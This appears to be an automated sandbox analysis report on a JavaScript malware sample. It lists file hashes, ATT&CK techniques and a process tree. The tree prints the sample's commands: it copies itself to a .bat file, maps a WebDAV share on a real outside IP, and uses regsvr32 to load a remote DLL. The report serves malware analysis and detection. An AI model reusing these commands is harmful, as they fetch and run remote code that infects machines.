3411955b9b9abc157b3900989f354aa00808fb9292d462f06ea066f7fa7adeec

Analysis

max time kernel
10s
max time network
16s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
09/07/2024, 01:12

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General

Target

3411955b9b9abc157b3900989f354aa00808fb9292d462f06ea066f7fa7adeec.js
Size

5KB
MD5

d38b94af65789ac47c4a6f65357aced8
SHA1

4825fb5868d60f811ae523b0b766f0b64b1cacae
SHA256

3411955b9b9abc157b3900989f354aa00808fb9292d462f06ea066f7fa7adeec
SHA512

fad2d7115d3fa56145c449b4ba1ce733e8f0d731598e72750af54188c46c1680e821d5df77b65fe6f3931e00263d7f68d40820593f83e844dcfdb28b417b3629
SSDEEP

96:Cq1bP96PVGmP1N1Vn9SqtWbxQbrA/jm7NJNHaT4a4SJNc8NouLFr3hatU0A7NsvF:9QupzwOoEwbfBZ2x3fqIy7kC

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
3044	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2584 wrote to memory of 2824	2584	wscript.exe	29
PID 2584 wrote to memory of 2824	2584	wscript.exe	29
PID 2584 wrote to memory of 2824	2584	wscript.exe	29
PID 2824 wrote to memory of 2696	2824	cmd.exe	31
PID 2824 wrote to memory of 2696	2824	cmd.exe	31
PID 2824 wrote to memory of 2696	2824	cmd.exe	31
PID 2824 wrote to memory of 3044	2824	cmd.exe	32
PID 2824 wrote to memory of 3044	2824	cmd.exe	32
PID 2824 wrote to memory of 3044	2824	cmd.exe	32
PID 2824 wrote to memory of 3044	2824	cmd.exe	32
PID 2824 wrote to memory of 3044	2824	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\3411955b9b9abc157b3900989f354aa00808fb9292d462f06ea066f7fa7adeec.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\3411955b9b9abc157b3900989f354aa00808fb9292d462f06ea066f7fa7adeec.js" "C:\Users\Admin\\erykij.bat" && "C:\Users\Admin\\erykij.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2696
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\752.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:3044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\erykij.bat

Filesize
5KB

MD5
d38b94af65789ac47c4a6f65357aced8

SHA1
4825fb5868d60f811ae523b0b766f0b64b1cacae

SHA256
3411955b9b9abc157b3900989f354aa00808fb9292d462f06ea066f7fa7adeec

SHA512
fad2d7115d3fa56145c449b4ba1ce733e8f0d731598e72750af54188c46c1680e821d5df77b65fe6f3931e00263d7f68d40820593f83e844dcfdb28b417b3629

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